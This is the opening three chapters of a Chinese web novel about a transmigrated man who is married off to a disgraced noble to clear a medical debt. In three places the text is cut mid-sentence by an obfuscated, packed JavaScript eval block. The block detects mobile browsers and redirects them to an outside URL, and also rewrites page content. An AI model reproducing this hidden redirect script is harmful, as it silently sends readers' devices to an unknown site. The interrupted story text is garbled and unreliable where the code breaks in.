《虫族的未来就靠你了》 1. 开局即破产 “不是吧不是吧,诗因那个疯子真的有雄虫接盘了!” “什么!真的假的,现在还有雄虫敢要他?” “可靠消息,海莱家族不知道在哪个荒星上翻出了一只流浪雄虫,没钱没背景,所以他们直接强行定下了婚约。而且为了防止那个雄虫反悔,当天就结婚!这速度我说一句开天辟地断层第一没人反驳吧。” “老天爷,这也太倒霉了吧!” “不聊了兄弟们,婚礼马上就开始了,我直觉会超级精彩,今晚不睡觉也要蹲直播!” 而众人口中的大倒霉蛋——伊洛恩,正坐在化妆间里,直到现在也没有搞清楚自己的状况。 这不能怪他,实在是这个世界太奇怪了。 伊洛恩本名易水恒,在原来的世界里,他本来只是个平平无奇的普通人,人生轨迹中没有一星半点的过人之处。他在现代社会普普通通地出生,随随便便地长大,胸无大志,只想过一点平平静静的社畜生活。谁料打工没几年,末世来了。 他在极端残酷的生存环境中勉强挣扎了几年,然后在某日外出寻找食物和水源的途中,不慎一脚踏错,命丧深渊——当然,这在当时也是种寻常的死法,于是易水恒就这样过完了他首尾呼应的一辈子。 故事本来在这里就该画上句号,但是奇怪的事情发生了。易水恒居然没死成。他完好无损地来到了这个所谓的“虫族”世界。 “你叫什么名字?” “易……易水恒……” 对方好像对这个绕口的发音感到困惑,大声问道:“你说什么?叫伊洛恩是吗?” 伊洛恩就伊洛恩吧,易水恒无力反驳,他已经重新晕过去了。 “快快,带这位伊洛恩阁下去救治!” 因为没有虫纹和虫翅,他被认定为雄虫,且由于身体太过虚弱,认定结果一出,他立刻被快马加鞭地送进了中央星首屈一指的大医院,数不尽的珍贵资源往他身上堆,生怕他因为伤势过重一命呜呼。 躺在温暖舒适的治疗舱中,伊洛恩迷迷糊糊地想,这个世界的文明水平可真先进啊,连野外捡到的普通平民也能这样兴师动众地免费救助……他们给他用了好多药水,看起来好贵的样子,他也许打一辈子工也买不起这样一个药水瓶子。 不知道这里有没有医保。希望他们不会让他还债,他觉得就算把自己卖给医院也值不了这么多钱。 正想着,护士进来给他换药了。 护士是一位高大的雌虫,脸颊上带着粗犷的蓝色胎记,据这里的原住民所说,这是名叫“虫纹”的一种东西。其实伊洛恩并不明白为什么这里的人都坚称自己是虫,明明大家都是人类模样,但这不影响伊洛恩入乡随俗。他尊重,理解,祝福。 护士扶他起身,帮助他拿着瓶子吸氧,一番动作含羞带怯,暗送秋波,只是伊洛恩昏昏欲睡,什么也没看见。 这时门外走进来另一只雌虫,他身着正装,风度翩翩,向着伊洛恩行礼:“您好,伊洛恩阁下,我是您的代理律师,特来与您商量您的债务问题。” 伊洛恩顿时心里一咯噔。 律师抖开手上的文件,絮絮叨叨地念道:“急救舰从中央星前往您所在的地方,一个往返的费用共计五千万,而自您登上急救舰开始,您一共使用了十三种医疗设施和四十九样药品,为您维持营养输送的治疗舱按秒数计费,而您已经使用了十三个小时,费用一共为一亿九千六百万零七千……” “当然,您是尊贵的雄虫,雄虫保护组织和慈善机构可以为您报销一部分营养液的费用,所以抹去零头,您现在的欠款金额是——” 他深呼吸一口气,露出了沉痛的表情:“——二亿五千二百五十二点五万个单位的星际币,恕我直言,这样大的金额,以您目前的履历和背景,恐怕没有任何一家银行愿意给您贷款。” 伊洛恩闻言眼疾手快一把拔了氧气瓶和各种输液管,安详地躺进床里闭目等死:“我不治了,请不要再为我花钱,让我安心地离开吧。” 律师:“不不不!我不是这个意思……天哪,救命啊!医生,医生快把管子接上——” 一阵兵荒马乱之后,律师擦着汗,小心翼翼地蹲在伊洛恩床边:“是这样的,伊洛恩阁下,您刚刚回到文明社会,恐怕还不太了解情况。您是珍贵的雄虫,不需要自己偿还债务,只需要娶一位富有的雌君就可以了。” “雌君?” 律师赔笑道:“是的,只要您娶了雌君,就会拥有他全部的财产,您的债务也会由他来承担。问题不大,您不要慌,千万别再轻生了。” 他见伊洛恩还是一头雾水,又是好一通比划解释。伊洛恩努力理解了一下,感觉意思似乎和老婆差不多。 这个地方的“雄虫”就像古代的皇帝,因为数量稀少,个个都开着小后宫。雌君相当于正妻,雌侍则是妾室,总而言之,是一夫多妻制。雄虫娶的雌虫越多,钱就越多,实力就越强。 堪称是吃软饭的极致了。 伊洛恩为这样的婚姻制度感到迷惑,心想哪个正常雌虫愿意做这种冤大头,他苦笑着咳嗽:“我这种条件,恐怕没有哪位雌虫愿意接受吧。” 律师也跟着叹了口气:“唉,的确很难,我们雄虫保护组织也是为您伤透了脑筋,但是找了半天,还真找到一个适合您情况的年轻雌虫。” 他快速地念出了一个名字,但就像虫族无法理解伊洛恩的名字一样,伊洛恩也不太能听清楚他们的人名,他困惑地在记忆中寻找对应的中文发音,询问道:“他的名字是,诗——因?” “对对,”律师很照顾他的口音,特意放慢语速,“Sheen,诗——因。诗因·海莱。” 他从怀里掏出一沓文件,上面写满了漂亮的履历:“他是大贵族出身,又曾在军部任职,非常有钱,最近衰亡期临近,正愁中央星找不到合适的雄虫结婚。您的这点债务对他来说不过九牛一毛,不知道您愿不愿意考虑一下?” “衰亡期?” “哎,是是。您也知道,正常情况下,雄虫的寿命一般在二百年左右,我们雌虫的寿命就要短暂得多,每隔二十年就会经历一次衰亡,只有在雄虫的帮助下才能挺过去。但您也知道,雄虫的数量实在是太少了……” 原来如此,雌虫结婚算是花钱续命,伊洛恩理解了。 他逐渐心平气和,问:“有照片吗?” “有的,有的。” 律师递给他一张皱巴巴的半身照,照片中的雌虫一头白色长发如水银泻地,压在高高的军帽之下,深蓝色军装一丝不苟,镀金的纽扣严整地封住领口。 可是在庄严衣着的束缚下,他精致的五官仍然鲜亮得耀眼,眼角的红色虫纹如盛放的曼珠沙华,金色的眼睛闪闪发光,目光中锋锐而冰冷的意气,张扬得完美无缺。 伊洛恩沉默片刻:“这是多少年前拍的?” 他不相信这么优秀的雌虫会找不到对象,更何况还很有钱。 律师哈哈干笑:“三年,三年前而已。他最近马上就要进入衰亡期,恐怕仪容不整,不太方便拍照。” 伊洛恩也笑了:“他真的会愿意和我结婚?” “当然。您放心好了,能有雄虫结婚就不错了,他怎么可能会不愿意呢!” 天下没有白吃的午餐,多年的求生经验告诉伊洛恩,这件事并不简单。他的结婚对象很可能是个问题人物,但是伊洛恩开局即破产,他别无选择。 于是伊洛恩把照片收进掌心,温顺地点头:“好的,我接受安排。” 律师当即大喜过望,立刻推着小护士去给他拔氧气瓶和输液管:“快快快,这位阁下同意了!剩下的营养回来再补,我们现在先赶紧送阁下去结婚!” 伊洛恩:? 你们资本家对穷人多演一分钟都嫌亏是吗? 小护士抹着眼泪把他的管子拔了,而后情况就变成了现在这样——伊洛恩被一群雌虫簇拥着洗头洗澡更衣化妆,像个国王一样从头到脚围满了侍从,有的给他剪指甲有的给他喷香水,一边干活还一边卖力恭维: “您的手指多么修长优美啊,简直是造物主空前绝后的杰作。” “这个味道非常适合您,忧郁神秘的古典气质,每一位雌虫都会深深为您着迷。” “听说海莱家族为您准备了非常隆重的仪式,整个小行星都种满了花,现场美丽极了!您一定会拥有一场难忘的婚礼。” “您是不是很期待?我想诗因阁下现在一定也迫不及待了……” 这些雌虫早已经收够了海莱家族给的昧心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350078|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱,良心大大地没有,作用就是在结婚之前稳住伊洛恩,不让他有悔婚的念头,此时只管睁着眼睛说瞎话,东拉西扯地一通狂吹。 伊洛恩假装没看出这些赞美祝福的表演痕迹,把遮住面庞的湿润头发轻轻拨到耳后,露出一个礼貌的微笑作为回应:“是吗。” 房间里忽然鸦雀无声。 伊洛恩有些尴尬,心想大家别是被他给丑到了,忙又垂下脸,任半长不短的乱发重新遮盖面容。 空气仿佛这才开始重新流动,雌虫们缓慢地找回了各自的呼吸,面面相觑。不知道为什么,漆黑的良心忽然隐隐作痛。 这时传来“咚”一声巨响,一个还没回神的化妆师一头撞到了桌角,摔得整个身体在地上倒滚了两圈,化妆箱里的工具哗啦啦撒了一地。 众虫终于找到了转移注意力的借口,当即就有雌虫站起来骂他:“走路不看路,你在做什么!瞧瞧地上这些粉饼和刷子——你毁了给阁下上妆的工具!” 化妆师瑟瑟发抖地收拾满地狼藉,不住地道歉,被训得狠了,只能拼命忍住不哭。 骂他的雌虫最后朝他踢了一脚,冷冷地说:“这些东西不能用了,你必须去买一套全新的。” 化妆师被踢到地上,刚收拢起来的东西又被摔得到处都是。伊洛恩忽然出声:“算了吧。” 所有虫都朝他看来,那个训斥的雌虫突然红了脸,结结巴巴地解释:“阁下,您,您不要误会,我只是想让您用最好的!” 伊洛恩温和地朝他笑笑:“谢谢你周全的考虑。不过,我想没关系的。” 他挽起袖子,把地上的化妆师扶起来,顺手帮他捡起了几只大小不一的刷子,说:“拍一下就好,灰尘弄掉接着用就行。” 这份通情达理让围观群众的眼神又是一变。化妆师苍白的脸也涨得红通通,他接过刷子,笨拙地鞠躬道歉,然后飞快地收拾东西跑去了洗手间。 还有雌虫感到不平,忿忿道:“可是阁下,这些脏了的东西实在配不上您,万一被细菌感染了皮肤可怎么办呢……” 伊洛恩心想他那么多年风餐露宿糙过来的老脸哪有那么脆弱,要不是现在只能任人宰割,他甚至连妆都不想化。 他坐回座位,语气平和而坚定:“没事。” 他确实不怎么在意,也暗自担心换新的刷子又要他出钱。他已经债台高筑到了卖身的地步,实在欠不起更多了。 过了一会,化妆师带着洗好的工具回来了,兢兢业业地过来给他上妆。在他看来,伊洛恩的骨相无可挑剔,只是脸色过于苍白,透着疲乏和虚弱。既然要去结婚,那么还是增点气色为好。 想到结婚,化妆师初出茅庐的一颗良心又开始针扎一样地痛。他苦着脸,余光瞥见同事们离得远了些,这才小声问道:“阁下,您真的是自愿与诗因结婚的吗?” 伊洛恩不明所以,轻轻点头。 化妆师憋了半天,才鼓足勇气憋出几句话:“阁下,诗因他不好……不好相处!他……他真的不适合结婚!您,您能不能再考虑一下?” 伊洛恩一怔,琢磨了一下他的意思。 诗因既是贵族,又有那样的容貌,想来是从小养尊处优,没有吃过苦的。也许是跋扈骄纵的性格在同辈之中有些出名,让人觉得不是良配,所以这位善良的化妆师想提醒自己一下? 伊洛恩自觉做好了心理准备,既然对方娇生惯养,那自己多照顾些就是了。何况再不好相处,应该也没有他以前的主管和老板们难伺候吧。 伊洛恩是一个久经沙场的打工人,他的心已经和他搬过的砖头一样冷了。 所以他面容平静,甚至反过来安慰化妆师道:“没关系,我不介意。” 化妆师:“啊?可是,诗因他……名声真的很不好……我是说……您真的了解过他吗?他那样的行为……您真的,一点都不介意吗?” “是的。” 有什么可在意的呢?他需要诗因来还款,诗因需要他来续命,他们之间的关系再简单不过,好一点互相帮助,坏一点互不干涉,两个陌生人的联结,能有什么深远的影响? 此时的伊洛恩还不知道自己即将面对的是什么,他的内心没有丝毫波动,甚至还笑着肯定道: “我完全不介意。” 2. 白百合和迎春花 婚礼场地坐落在一颗紫色的小星球上,上面开满了鲜花。清风拂过,花瓣纷飞,的确是适合结婚的浪漫场面。 海莱家族是中央星首屈一指的大家族之一,底蕴深厚,加上与政界商界千丝万缕的联系,本就常年在新闻板块占据了一席之地。 而海莱家最出名的小辈——诗因·海莱,更是牢牢牵动着万千吃瓜群众的心,这也就注定了这场婚礼拥有空前的关注度。 直播一开,宇宙各地的网友立刻大批涌入,将在线人数刷出了一个堪称可怕的高度。 “让我看看让我看看,海莱家这次给诗因准备的婚礼场地不会是在什么犄角旮旯吧……啊我的天,我的脸不疼!” “前面的太天真了,犄角旮旯还会给你开直播?直播就是为了炫富的好吗!” “谢谢,真的有被炫到。” 纯白的建筑在翩飞的花瓣中静静矗立,无数的圆柱呈半弧形排开,从高空往下鸟瞰,像是坐落在无边花海中的一小枚贝壳。鲜花和锦缎已经铺了满地,纯金打造的仪式用品也尽数备齐,只等着相爱的伴侣前来执手相望,向彼此许下一生的承诺。 眼睛形状的转播器四处飞舞,镜头不断地拉进推远,全方位多角度地向网友们展示现场的恢弘与奢华。 直播间里一片哀鸿遍野: “酸了,我已经开始酸了。” “可恶,明明诗因的名声都那么臭了,为什么还能和雄虫结婚?我真是不服气!” “前面的想开点,说不定那个雄虫是个傻子呢,听说原本就是荒星上的流浪汉,因为欠钱太多才愿意和诗因结婚的。你品,你细细地品,这能是什么好对象吗?” “欠钱那件事,不是据说是海莱家族故意设的局吗?要不然哪个脑子正常的雄虫愿意让诗因做雌君,活得不耐烦啦?” “你管它是真是假,既然都同意和诗因结婚了,穷和傻至少得占一样吧?” “啊,不是吧,待会要在这里结婚的雄虫居然是个丑八怪吗?我心碎了,感觉这么美丽的地方已经被糟蹋了,呜呜呜。” 正在讨论区吵得不可开交的时候,载着伊洛恩的飞船晃晃悠悠地出现在了天际,从一个小黑点逐渐变大,最终完完整整地出现在了转播器的镜头当中,降落的气流卷起飞花无数。 观众们的目光立刻被吸引了过去,像是一大群等待结果的赌徒,疯狂地重复着自己的赌注: “来了来了来了!” “我赌一星币,绝对是个老头子!” “丑八怪!” “你们能不能善良一点,就不能是个半身不遂的重症病患吗?我赌残疾虫!” 飞船中的伊洛恩对网上的风波全然不知。他站在全身镜前,有些局促地摆弄了一下束得很紧的衣领,抬手的动作之间,袖口上的蓝宝石闪动出幽远明净的色泽。 他的头发已经被打理整齐,用昂贵的发饰扎在脑后。身上的礼服价值不菲,却不完全合身,让他总有种喘不过气的紧张感。 那些为他做造型的雌虫就像打扮洋娃娃似的,一股脑地把漂亮衣服往他身上套,伊洛恩其实觉得自己配不上那么值钱的东西,但是那些雌虫看起来很高兴,所以他忍住了。 被昂贵的服饰淹没也有一个好处,能够转移注意力,不会让人太在意他的样貌。不然没法用头发挡着脸,他还真的有点不习惯。 从小到大因为他的形象讨厌他的人不计其数。伊洛恩虽然嘴上说着不在意,但心里还是想要给结婚对象留下一个不错的第一印象。不管日后相处如何,至少在初见的时候,他不想闹得太难堪。 站在一旁的雌虫被同伴用胳膊肘戳了好几下,才恋恋不舍地从伊洛恩身上挪开眼睛,小声道:“阁下,我们到了。” 伊洛恩深呼吸一口气,心微微地提了起来,但面上还镇得住,他转头看向说话的雌虫,微微笑了一笑,状若轻松地问:“我看起来怎么样?” 雌虫立刻抬手抹了一下嘴角,点头如捣蒜:“您看起来帅气极了!” 整个飞船里的雌虫都一起疯狂点头,像一群坏掉了的机器人。 伊洛恩:“……”算了,拿钱办事的群众演员罢了,问也白问。 一群保镖簇拥着他来到舱门前,他们都是退役军雌,身强体壮,体格是伊洛恩的两倍,站在一起几乎形成了一堵墙。为首的一个向他解释道:“阁下,今天的婚礼会全程直播,星网在这里投放了数百只转播器,待会如果有这样的设备围着您拍摄,请您不要慌张,我们会尽可能保护您的安全。” 伊洛恩:“……” 伊洛恩更紧张了。他垂着眼,再一次扯了扯领结,喉结颤动。耳旁响起舱门开启的倒计时提示音,十,九,八…… 而观看直播的网友们则紧紧盯着飞船外慢慢伸展的折叠阶梯,六,五,四…… 三,二,一—— 咔嚓一声,舱门缓缓打开,伊洛恩抬起头,踏步走出飞船,身形消融在阳光里。 以神经网络为枢纽,成千上万只眼睛一瞬间齐齐盯准了他。 讨论间突然变得一片寂静。紧接着,如同水底的鱼雷炸响,滔天的巨浪轰然爆出水面—— “啊啊啊啊啊啊啊!!!” 千家万户的各个角落,此起彼伏的尖叫声直冲云霄。 直播间观众盯着各自的屏幕,脑海中的千言万语全部化作一声尖锐爆鸣。 我靠,好帅! 颜值的冲击力是最直观的。美与丑的界限如此分明,甚至不需要用过多的言语为之辩护。 伊洛恩扶着护栏,慢慢走下飞行器。就这么几步路的功夫,观众们的眼珠子都差点黏在屏幕上,等反应过来之后,手指立即开始飞快地打字。 “来晚了,不太清楚情况,请问这就是刚刚讨论区嘲讽的丑八怪吗?既然你们都不要,那这个丑八怪可以让给我吗?” “来晚了就滚一边去,这位雄虫阁下已经是我的了!” “是我的!是我的!” 弹幕打得血雨腥风,更有好事者专门圈了之前嘲讽得最厉害的几个网友,幸灾乐祸道:“怎么样,各位大预言家?你们对这个结果还满意吗?” 刚刚出言刻薄的网友们:“……” 别问,问就是小丑只是我自己。 这时一只转播器横冲直撞,老练地穿过保镖围成的肉墙,来到伊洛恩面前,怼着脸就是一顿狂拍。伊洛恩吓了一跳,在镜头前茫然地怔愣,长长的睫毛微颤。然后他别过头,轻轻用手把那只转播器推开,低声说:“不好意思。” 这一瞬间的表情和嗓音传到星网,如同烈火烹油,本就热闹的直播间顿时又炸开一轮更疯狂的鬼哭狼嚎。 各种不明意义的乱码霸占了整个屏幕,比之前的尖叫声还要来得热烈,刷得铺天盖地密密麻麻。这突然爆发的恐怖流量在短短数秒之内冲垮了星网的服务器,观众们还没来得及再多嚎上几句,就见到直播画面闪了闪,突然陷入黑屏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350079|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网友们:???杀千刀的星网,你还我的大帅虫! 而伊洛恩那边看到的景象则是,原本想方设法靠近追着他狂拍的转播器们忽然在他面前停了下来,像是中了病毒一样,动作一阵卡顿,最后终于失去了活下去的动力,一个接一个死机休眠,吧嗒吧嗒地落进了花丛里。 伊洛恩刚刚抬起的脚在半空中顿住,犹豫半天,最后又收了回去。 这些一看就很贵的小东西好像在碰瓷。 天地良心,他可什么都没做。 旁边的保镖见他踟躇,挠了挠头,费力地开了个玩笑:“阁下,您的威力真大,它们只是拍到您的脸,就震惊得自己掉下去了,哈哈。” 伊洛恩:“……原来如此。” 竟然是被他给丑坏的。 他感觉自己的心上好像中了一箭。原来人靠衣装这句话也是靠不住的,他已经面目可憎到连锦衣华服都救不回来的地步了吗? 伊洛恩顾不得自己七窍流血的自尊心,他忧郁地问:“这个损失,也会记在我的账上吗?” 保镖:“……应该不会吧。” 伊洛恩的心止住了流血。他感到一丝微弱的安慰。 不管星网那头是如何焦头烂额地想办法让服务器恢复正常运作,这边的婚礼仍然在照常进行。 伊洛恩进入场地,被服务生引领着走到台前站定,后者毕恭毕敬地朝他鞠躬:“阁下,请您在这里稍等片刻,婚礼马上就开始。” 伊洛恩忍不住绷紧了脊背,僵硬地点点头:“好的。” 衣着华贵的来宾陆陆续续地到场,有的穿着礼服,遍身宝石蕾丝,有的一身军装,肩佩绶带勋章,两拨人马各自聚成一堆,无形的沟壑横亘在他们中间,显得泾渭分明。 唯一的共同点,大概就是他们的目光全投在了伊洛恩身上,其中复杂而怜悯的意味让承受注目礼的主角羞愧不已。 伊洛恩慢慢低下了头,自己都觉得丢脸极了。 如果有得选,他也不想欠那么多钱的。 他为了让自己不那么紧张,开始试图想东想西,转移注意力。律师曾经提到过诗因在军部任职。他会是什么职位呢?那么年轻,又那么骄傲,一定是个有着响亮头衔的军官吧? 也许到场的这些军官,都是他的同事和战友。之后他会介绍给自己认识吗? 伊洛恩记脸的本事很差,看着面前黑压压的脑袋,他颇感压力。但如果诗因有需要,他一定会努力。 虽然直到现在,他连诗因的面都还没有见着。 想到这里,伊洛恩忽然灵光一现。他走到旁边,拉住一个抱着花篮的萌萌哒小雌虫,微笑着问:“可以给我一束花吗?” 小雌虫睁着水汪汪的大眼睛,歪头说:“可以呀,可是你要花做什么呢?” 伊洛恩蹲下来,摸了摸他的头:“我马上就要见到新朋友了,我想送一束花给他。” 这个篮子盛满了洁白的百合和灿烂的迎春花,新鲜又漂亮,应当与诗因很相称。 小雌虫长长地“哦”了一声,把整个篮子捧到他面前,奶声奶气地说:“好哦!祝你们的友谊地久天长!” 伊洛恩亲了一下他的脸蛋:“谢谢你。” 他手持花束,大步向着原来的地方走去。迎着在场宾客神色各异的目光,他维持着脸上的笑容,心跳微微加快。 婚礼即将开始,他们马上就要见面了。 诗因会喜欢吗? 3. 结婚对象 不管结婚双方是不是真的迫不及待,这场婚礼的节奏的确是紧锣密鼓,从筹备到实施都堪称马不停蹄。现场的乐队拉起了轻快的曲子,来宾基本到齐,一切准备就绪。 而此时蹲在直播间的网友们已经快急疯了。 “救命,还是刷不出来,我有生之年还能看到这场直播吗?” “我有一个得了绝症的朋友,说他在临死之前只想看看那位大帅虫的婚礼直播,求求大家救救孩子!” “垃圾星网迟早要完!” 他们投诉、打电话、上各种社交平台探查情报,急得团团乱转。 就在这时,一个不起眼的小小匿名论坛上,刷新出来了一条新帖子: “关于最近很火的某位雌虫结婚那件事,大家不觉得哪里有点奇怪吗?” 这名楼主看起来不怎么关心时事,对诗因的记忆也只停留在几年前的报道,此时疑惑得非常真诚。 “看到今天到处都那么热闹地讨论这件事,我真的很不明白,当初某个雌虫犯事的时候不是当众宣称过自己永远不会找雄虫结婚的吗?为什么现在还那么大张旗鼓地宣扬婚事,这不是在打自己的脸?” 在众多讨论激烈的高楼之间,这条新帖子显得有些冷清,过了十分钟才陆陆续续迎来几条路人回复: “2L:当时他说完那句话之后,好像被确诊了精神疾病,还专门停职去病院治疗,胡话不能当真。治了三年,脑子应该治好了,清醒之后自然就要回来找雄虫了。” “3L:那可不一定。我看精神病是假,找借口让他免刑才是真。这场婚礼也大概率不是他自己的意愿,而是某大家族为了洗白名声硬搞的。众所周知,海家的家主最要面子,他怎么能容忍自家的名声一直被崽子拖累,反正就是强行生病,再强行病好,绑也得把他绑来结婚。” 下面跟了几条无意义的讨论帖,直到某一楼发了一张图。 “7L:我觉得3楼说的可能是真的。我刚刚好像看见正主跑路了。【图】” 图片模糊不清,只能依稀看到一个白色的身影屈膝肘击,正正打中了一名拦截者的胸肋,眼角的虫纹如一团模糊干涸的血迹,身后还追着两名全副武装的军雌,枪口对准了他的后脑,看起来战况激烈。 这张图一出,犹如投石入水,一石激起千层浪。 “14L:这几个军雌穿的衣服我认得,就是海莱家族的保镖制服!再加上这白头发……八九不离十了!” “39L:不是吧,我还在直播间蹲着呢,他跑了这婚礼可怎么办啊?” 帖子迅速被顶上热门,经由各路转载和窃窃私语,更大的风暴在网络世界中发酵。 “你刚刚刷到那个消息没有?我看论坛都已经扒疯了。” “什么消息呀,你直说行不行。” “诗因逃婚了!” 千里之外的婚礼现场,乐队的曲目换了一首又一首,原本安静等待的宾客逐渐开始躁动,彼此间轻声交谈。他们之中间或有人点开了终端,看见星网的最新消息推送,神色不由得微妙起来。 他们重新抬头,看着站立在最前面,手捧鲜花、身着华服的年轻雄虫,神情各不相同。有同情的,有讥诮的,有看好戏的,总归没带什么好眼神。 伊洛恩被他们看得一头雾水,心里略微忐忑,不知道自己做错了什么。 他伸手摆弄了一下花束,手指轻轻抚过娇嫩的白色花瓣,碰落了一滴露水。 他并非对现场不安的气氛毫无察觉,只是不明缘由。 这个世界的原生文明像是一座海洋,他们之间的水域彼此流通,整个生态链圆融自洽,有着不言即明的默契。只有他是一座孤岛,是碎石砖瓦漂浮在茫茫大海上,来得突然,立得突兀,存在得不尴不尬,并且孤立无援。 ——诗因迟迟不到。 伊洛恩心里担忧地想,是路上出什么事了吗? 希望不要受伤才好。不然,总感觉是自己给对方带来了坏兆头。 音乐声渐渐停了,只剩下后勤工作者匆匆来去的脚步声,笃笃,笃笃,紧张急促,一下下敲在人心上。 网上的舆论渐渐朝着不可控的方向歪去: “要我说这场婚礼就不该办,强扭的瓜不甜,这不,海莱家族又成大笑话了吧。” “前面这个‘又’就很有灵性。” “假:豪华世纪婚礼,真:大型丢脸现场。” 就在这时,一架小型飞船在附近降落。几名雌虫抬着一只铁盒子,慌慌张张地下船飞奔而来。紫色的花朵被他们踩得倾倒一片,又惹来许多的花叶翻飞,一片片顺着风飘进礼堂,一路落在伊洛恩身前。 服务生踩住了那片花瓣,向着伊洛恩弯腰:“阁下,事情出了一些变故,劳烦您随我过来一趟。” 伊洛恩下意识抱紧了怀里的花。 他跟着服务生走向礼堂后方,推开门,进入一个小房间。里面已经坐了一位中年雌虫,白发梳得一丝不苟,金边眼镜架在鼻梁上,眉间有一道深深的皱痕,久未舒展,几乎成了陈年的疤。 他看见伊洛恩进门,起身行礼:“阁下,冒昧让您前来,真是非常抱歉。我是诗因的雌父,德尔。” 伊洛恩不知道该作何反应,他喉咙发紧,缓了几秒才问:“出了什么事吗?” 德尔托了一下眼镜,淡淡一笑,气氛立即缓和许多:“您别紧张,不是什么大事。只是为了避免您听闻闲言碎语产生误会,特别向您说明一下情况。 “我们刚刚收到消息,诗因的衰亡期提前发作,导致他身体过于虚弱,没有办法亲自前来参加婚礼,所以只能由他的精神体代为完成仪式。我们已经加急将他的精神体运送到现场,您不用担心,婚礼马上就可以开始了。” 伊洛恩也稍稍松了口气,尽管他此时疑问众多,但还是问了最关心的那一个:“那他现在还好吗?” 德尔静默了片刻,脸上的笑容始终维持在同一个弧度,看上去几乎像是一层不会脱落的假面。他轻轻点头:“没有大碍,感谢您的关心。” 顿了顿,他又说:“非常抱歉,这种情况是我们没有事先考虑到的。让您在现场久等,确实是我的失职。海莱家族愿意补偿您的损失,您有什么想要的赔偿吗?或者……” 伊洛恩倒是没有什么想法,直接道:“没关系,你们能还上我的欠款就已经很好了。”他转念一想,又笑着说,“或许你可以让我提前见见他的精神体?我还不知道精神体是什么样子的呢。” 德尔说:“当然可以。” 他从身边抱起一只铁盒子,一边开锁,一边解释道:“精神力强大到一定程度,就可以凝聚为实体,是本体感官意志的延伸。诗因拥有S级的精神力,他的精神体可以像正常生命体一样活动,在重要的仪式场合上,和本体具有同样的法律效力,您不必忧虑,这一点改动不会对婚姻的真实性产生任何影响。” 说着,铁盒打开,露出一条毛茸茸,白乎乎的大尾巴。德尔费劲地把里面的东西拖了出来。 伊洛恩好奇地低头去看,在一大团白花花的蓬松毛毛中间找到了两只粉嫩嫩的肉垫,然后是尖尖的小耳朵,翘起的小鼻子,颤动的几根银色胡须。最后这团不明生物露出了脸,一双金色的眼睛如同无机质的水晶,清透晶莹,只是呆滞僵硬,看着不大有活力。 是一只像蒲公英一样蓬松柔软的猫咪。 伊洛恩的心怦怦直跳,他小心翼翼地摸了一下猫咪的毛,出神地喃喃:“他好漂亮……” 他有点想要抱抱猫咪,但是考虑到这相当于诗因亲临,还是克制住了自己不太庄重的行为,改为抽出一支迎春花,轻轻放在猫咪面前,说:“很高兴认识你。” 猫咪抖了抖胡须,看起来想要打一个喷嚏,但是本体被注射了过多的镇定剂,导致精神体也虚弱无力,最后也没有打出来,神情显而易见地变得有些烦躁。 德尔按住了猫头,以免他暴起伤害到面前这只雄虫,对伊洛恩说:“衰亡期的雌虫有些难以控制自己的行为,请您在和他相处的时候务必注意安全。” 伊洛恩的眼珠子几乎都黏在猫咪身上,一点也挪不动,闻言嗯嗯点头:“好,没关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350080|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系,我一定会努力和他好好相处的。” 德尔看着他这副模样,不由得沉默了下来。 眼前的雄虫对自己的命运一无所知,他不知道自己已经成了一枚弃子。海莱家族的名誉需要挽回,诗因的恨意需要宣泄,他们需要一个能够随意摆布的雄虫作为牺牲品。 他如同在悬崖边上行走的盲人,身边虎狼鹰隼环伺。所有的阴谋家都在指引他走向万丈深渊,而他却以为这是回家的路;最可怕的猛兽已然朝他亮出了獠牙,而他却天真地以为那是一只可爱无害的小猫咪。 连本该保护他的各种组织协会都早已在重压和贿赂之下妥协,只要找来的雄虫没权没势又无足轻重,他们就不作任何干涉。 但是商人以自身的利益为上,德尔在险恶的商场中征伐多年,又在不幸的婚姻中磋磨半生,良心已经没有那么容易动摇。 他说:“感谢您的宽容。” 此时,一模一样的说辞在前厅和星网上同时公布。来宾们心照不宣地交换了眼神,默不作声地开始鼓掌。网上则照例是又炸了锅,网友们各执己见,争论不休。 “用精神体来结婚,未免也太敷衍了吧?” “看来是逃婚失败被抓回去了。好可怜,为什么那位无辜的雄虫阁下要受到这样的对待。” “感觉他活不了多久了……” 花丛中的转播器摇摇晃晃地上升,朝着纯白的礼堂飞来。悠远的钟声回荡在开满鲜花的平原上,随风吹入千家万户。 祭台上摆放着白的,粉的,金黄的花。伊洛恩站在台前,看着对面被服务生抱在手中的猫,阳光从镂空的穹顶洒下金辉,落在他琥珀色的眼睛里,仿佛窖藏的醇酒重见天日,光芒剔透欲滴。 主持人高声道:“仪式开始——” 